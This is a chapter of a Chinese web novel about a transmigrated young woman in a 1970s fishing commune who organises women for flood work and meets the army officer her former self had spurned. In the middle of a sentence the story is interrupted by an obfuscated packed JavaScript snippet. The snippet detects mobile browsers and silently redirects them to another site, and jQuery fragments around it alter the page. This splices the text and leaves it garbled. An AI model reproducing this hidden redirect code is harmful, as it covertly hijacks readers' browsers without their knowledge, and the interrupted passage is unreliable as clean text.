回到睡的地方,刘铁花又和谭薇商议了一番明天跟社员宣讲的事宜,众人才嘻嘻哈哈地准备睡下。女生们把桌子都推到一起挤挤攘攘地躺下。你还别说,这样的大通铺对所有人来说也算是一段新奇的经历呢。
学校窗户多,晚风吹进来还是很舒服的。谭薇枕着自己的手,隔着蚊帐看着外面被月亮微微照亮的夜。
当然,舒服的夏夜体验是对于她们这班睡在蚊帐里的人来说的。
那些觉得用蚊帐矫情的男同志嘛……
谭薇听着旁边,那群嘴硬的家伙不停拍蚊子和低骂的声音,悄悄勾起了嘴角,叫你们嘴硬,被咬死了吧。
男生们甚至没撑到明天,才睡下不到半个小时就实在忍不住了,纷纷出动挤进了单独一人的蚊帐里。
等到第二天,这群家伙就被女生们笑了。
“我们皮糙肉厚,不用那玩意。”
“你们女生们用吧。我们大老爷们,不挤在一起睡。”
“哈哈哈哈哈哈哈。”
女生们模仿着这群男同志之前说的话,然后嘻嘻哈哈地推推搡搡。男同志们呢,则是丧眉搭眼的,但却也反驳不了什么。毕竟话是他们说的,事是他们办的。
第二天,公社的广场上,方鼎搓着手,有些不好意思,“不是我们干部通知地不到位,实在是最近开海,男人们都天不亮就出门了。忙得很,没时间来。不过妇女同志也是一样的,你们看,家家都有妇女同志做代表来的。”
刘铁花脸色不好看,现在这场面,站在广场里九成九是妇女,还有那小孩子,吱哇乱叫,到处乱跑。场面闹哄哄的。
谭薇捅了捅她,示意她别上脸,同时对方鼎说,“为了给我们安排,也耽误了您家出海的事儿吧,实在是不好意思。”
“没事没事。”方鼎虽然嘴上这么说,但其实谭薇说的没错,为了给他们安排这事情,他今天确实不能出海了,一个整劳动力呢,虽说他家富裕,但那也是工分啊。还好有人懂得领情,方鼎心里就舒坦很多,也站上台去主动帮忙维持秩序去了。
“小薇,可是防汛的活儿都是重活。妇女同志的力气毕竟比不上男人。”刘铁花还是眉头紧皱。
谭薇点了点她的眉心,“大家都看着咱呢,别愁眉苦脸的。铁花,你别忘了,我们这只小组是下来辅助工作的。我们要团结一切能团结的力量。大方公社的情况我也了解过一些,他们的上交任务确实不轻,你不让人家劳力去赚工分,人家怎么可能愿意呢。况且,这么多妇女同志呢。大家如果真能拧成一股绳,那也是不可小觑的力量。刘铁花同志,你不会瞧不起妇女吧。”
“才不会。妇女能顶半边天。”刘铁花立刻正色道。
“对,咱们不能让那些男同志瞧不起。一会儿上台你就要这样动员她们。”
“我就是怕她们积极性不高。”刘铁花还是担心。
“别担心,咱们还有这个呢。到时候把这个一亮,震一震她们。”谭薇指着那个箱子,边说边笑了起来,刘铁花也跟着笑了。谭薇继续道,“而且我了解到妇女们在公社劳动里往往只能赚半个男人的工分,现在咱们给她们提供机会赚更多的工分难道她们还不积极。你也可以跟她们这样说,现在有一个机会,咱们可以赚比家里男人更多的工分,做更多的贡献,大家说好不好?我不信她们不动心。”
刘铁花听得连连点头,“小薇你说的真好,我听得都想立刻干活了。要不你上台说吧。”
谭薇摇摇头,名不正则言不顺,她毕竟是个编外人员,也没必要出这个风头。
帮着刘铁花顺完了一会的词,看着她上台。广场上的叽叽喳喳总算安静了下来。
“大方公社的同志们,你们好,我是海城市委防汛小组的刘铁花……”
刘铁花中气十足,按照谭薇教的,她没有长篇大论地宣讲防汛工作的意义,略讲了几句后,就打开了箱子。
广场里瞬间安静下来。谭薇甚至能听到村里的狗叫。嚯,公社里竟然也能这么安静。不过随即,现场的妇女们就议论起来,那声音,一下子要吵得人耳膜都破掉了。
“刘同志,咱真的能赚比男人更多的工分吗?”翠花婶子觉得自己昨天和她们聊过,比别人更熟些,于是第一个开口问道。
“当然了,多劳多得,咱们妇女也顶半边天。”
“好啊。等到我赚的比我家那个死鬼多了,老娘要好好震一震他。”
“哈哈哈哈哈哈哈,桥婶子,我看大淼哥平常也很听你的嘛。”
“咱们妇女不出海,多的是劳动力呢。同志们,我家好几号人,安排什么工作啊。”
……
刘铁花和谭薇对视一眼,成了。
正当刘铁花准备进一步地和大家宣讲具体的工作内容时候,坐在谭薇旁边的翠花婶突然激动地站了起来,“肖团长,你们怎么来了?”
“快快快,这是市委的同志们,你们见过了吗?”
嗯?是军队来支援这里的人吗,谭薇一开始只是好奇地转头准备去看一眼。但谁知,她一转头,竟然看见了一张熟悉的脸。
肖穆……
谭薇是知道肖穆在支援虞县的。但竟然这么巧,他也来了虞县下辖的大方公社吗。
谭薇愣在了原地。
在原身的记忆里,肖穆一直是一个晦暗的影子。她记得他的长相,但是记忆里的肖穆只是一道剪影。而现实里……谭薇紧张得攥了下自己的衣角,只有在现实生活中真实地见到这个人,才能感受到那股压迫感。
“来来来,肖团长你坐在这儿。我给你介绍哦,这是市委的小谭同志。”翠花婶热心地把肖穆拉到了座位的第一排,谭薇的身边。
不是,婶子,你这是……
肖穆往她身边一站,谭薇瞬间就感觉到了压迫感。离得这么近,她甚至能感觉到他军装下面绷紧的肌肉。
肖穆抱着手臂站在离她两个身位的地方,不肯再靠近,就连翠花婶拉他都没有拉动。
谭薇这次终于对上了他的眼睛。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026336|194426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双眼睛,写满了隐忍和防备。
“你是什么文化程度?你平常看什么书?对不起,我跟你实在是没有任何共同语言。”
“包办婚姻那都是老黄历了。”
“你看看你,再看看我,我们从头到脚都不合适。两个不合适的人在一起是对彼此的伤害。”
“我们不应该勉强在一起。分开对大家都好。”
……一瞬间,那些原本模糊的记忆突然翻出水面。
原来,原身说了这么过分的话吗。谭薇再看向立定不动的肖穆,他抱着臂,一副防御的姿态。那双黝黑的眼睛,却一直盯着她。
唉。谭薇心里叹了一口气。那些话说的,确实太伤人了吧。
就算不想结婚,看在舅舅的面子上,也该好好说才是。
于是她笑了一下,尽量让自己不带任何攻击性的,轻声道,“坐过来吧。”
肖穆没动,仍旧抱着臂,不发一言。
谭薇……
“哎呀,肖团长,快坐呀。等市委的同志讲完话,你们一起去我家里啊,我新做了糖芋头。都不许不去啊。”翠花婶又热情地推了肖穆一把。
肖穆又看了谭薇一眼,她竟然还是带着吟吟的笑意。一点也看不出上次见面时候,垂着眼说那样绝情的话却连眼风也不分给他一点的样子。
在外人面前,装出这一副温柔的样子吗。肖穆在心里冷笑了一下。在公社这地方看到谭薇第一眼的时候,肖穆就想了千百种原因。她这样的大小姐,怎么会来这么苦的地方?
想来想去,只有一个可能。
想到这,肖穆的神色更冷了。他坐下,刻意保持了和谭薇的一定距离,压低了声音开口,“你来做什么,我不是说过撤回结婚申请这件事要等我回到部队才行吗。我现在在执行任务。”
谭薇一愣,有些不明所以地看向肖穆。他说的什么,什么就?她再一思索,才反应过来。肖穆他以为自己是追着他退婚来的。
这误会大了啊。
谭薇转过头,想要解释。但是看着这个脸色像结了冰,执着地一眼也不看自己的男人,她竟然不知道怎么解释了。
不好办啊。好像真的把人伤得很了。
但是还是得说。不能让这误会更大了,“我不是追着你来的,我是跟着市委的防汛小组一起来的。”
谭薇试图解释,然而肖穆的脸色更冷了。
这话又有什么问题?谭薇困惑了。
她还想开口再说些什么,但是周围……谭薇为难地看了看周围,人群挤挤攘攘,还有那爱看热闹的大娘大婶在好奇地打量他们,实在不是个说话的好时机,于是谭薇只能压低了声音,“肖穆,很多事情不是你想象的那样。也许我们该找个机会好好聊聊。”
随着她这句话的出口,肖穆原本绷紧的下颌松开了一点。
嗯,这个有效。再接再厉。谭薇给自己打气,也终于说出了那句,“但首先,我想诚恳地跟你道歉。”
肖穆转过脸,看向她。